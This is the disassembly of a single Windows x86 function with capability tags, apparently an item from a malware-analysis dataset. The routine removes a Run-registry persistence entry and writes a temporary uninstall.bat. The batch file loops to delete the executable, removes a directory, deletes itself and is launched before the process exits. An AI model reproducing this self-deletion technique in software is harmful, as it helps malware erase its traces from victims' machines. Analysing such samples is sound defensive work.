Function at 0x403122
Capabilities:
Create process on windows
Delete registry key
Persist via run registry key
Query environment variable
Self delete
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
cmp byte [0x40f638], 1
push ebx
push esi
push edi
mov ebx, connect
jne 0x403156
mov ecx, 0x40f628
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push ebx
call fcn.00404c9e
add esp, 0xc
and byte [ebp - 0x1d4], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x1d3]
mov esi, 0x40f780
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, esi
stosb byte es:[edi], al
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::size_void_const]
push eax
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
mov edi, 0x104
lea eax, [ebp - 0x1d4]
push edi
mov esi, 0x40f618
push eax
push str.EXEpath
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push ebx
call fcn.00404acf
add esp, 0x1c
test al, al
jne 0x4031c3
lea eax, [ebp - 0x1d4]
push edi
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
jmp 0x4031d3
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
lea eax, [ebp - 1]
push str.uninstall.bat
push eax
push str.Temp
call dword [sym.imp.MSVCRT.dll_getenv]
pop ecx
push eax
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push eax
lea eax, [ebp - 0x44]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov esi, 0x40b448
mov edi, 0x40f748
push esi
push edi
mov byte [ebp - 1], 1
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
mov ebx, dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
pop ecx
test al, al
pop ecx
je 0x40323d
push 0x80
mov ecx, 0x40f748
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call ebx
lea eax, [ebp - 0x1d4]
push 0x80
push eax
call ebx
test eax, eax
jne 0x403252
and byte [ebp - 1], al
push 1
push 0x10
lea ecx, [ebp - 0x44]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
lea ecx, [ebp - 0xd0]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_ofstream_char__struct_std::char_traits_char__::constructor_char_const___int_]
lea ecx, [ebp - 0xd0]
call dword [sym.imp.MSVCP60.dll_public:_bool___thiscall_std::basic_ofstream_char__struct_std::char_traits_char__::is_open_void_const]
test al, al
je 0x4033f3
mov ebx, dword [sym.imp.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::operator___class_std::basic_ostream_char__struct_std::char_traits_char_____char_const__]
lea eax, [ebp - 0xd0]
push str.:Repeat_n
push eax
call ebx
pop ecx
lea eax, [ebp - 2]
pop ecx
push 0x40b664
push eax
lea eax, [ebp - 0x1d4]
lea ecx, [ebp - 0x24]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push eax
lea eax, [ebp - 0x34]
push str.del__
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char_const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0xc
push eax
lea eax, [ebp - 0x14]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
push eax
lea eax, [ebp - 0xd0]
push eax
call sub.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::operator___class_std::basic_ostream_char__struct_std::char_traits_char_____class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0x14
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
cmp byte [ebp - 1], 0
je 0x40335c
lea eax, [ebp - 2]
push str.__goto_Repeat_n
push eax
lea eax, [ebp - 0x1d4]
push eax
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push eax
lea eax, [ebp - 0x34]
push str.if_exist__
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char_const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0xc
push eax
lea eax, [ebp - 0x24]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
push eax
lea eax, [ebp - 0xd0]
push eax
call sub.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::operator___class_std::basic_ostream_char__struct_std::char_traits_char_____class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0x14
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push esi
push edi
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
pop ecx
test al, al
pop ecx
je 0x4033ad
push 0x40b664
push edi
lea eax, [ebp - 0x34]
push str._RD__Q__
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char_const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0xc
push eax
lea eax, [ebp - 0x24]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
push eax
lea eax, [ebp - 0xd0]
push eax
call sub.MSVCP60.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::operator___class_std::basic_ostream_char__struct_std::char_traits_char_____class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
add esp, 0x14
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea eax, [ebp - 0xd0]
push str.del__0__n
push eax
call ebx
lea eax, [ebp - 0xd0]
push str.exit__n
push eax
call ebx
add esp, 0x10
lea ecx, [ebp - 0xd0]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_ofstream_char__struct_std::char_traits_char__::close_void_]
push 0
push esi
push esi
lea ecx, [ebp - 0x44]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x40b5cc
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.MSVCRT.dll_exit]
pop edi
pop esi
pop ebx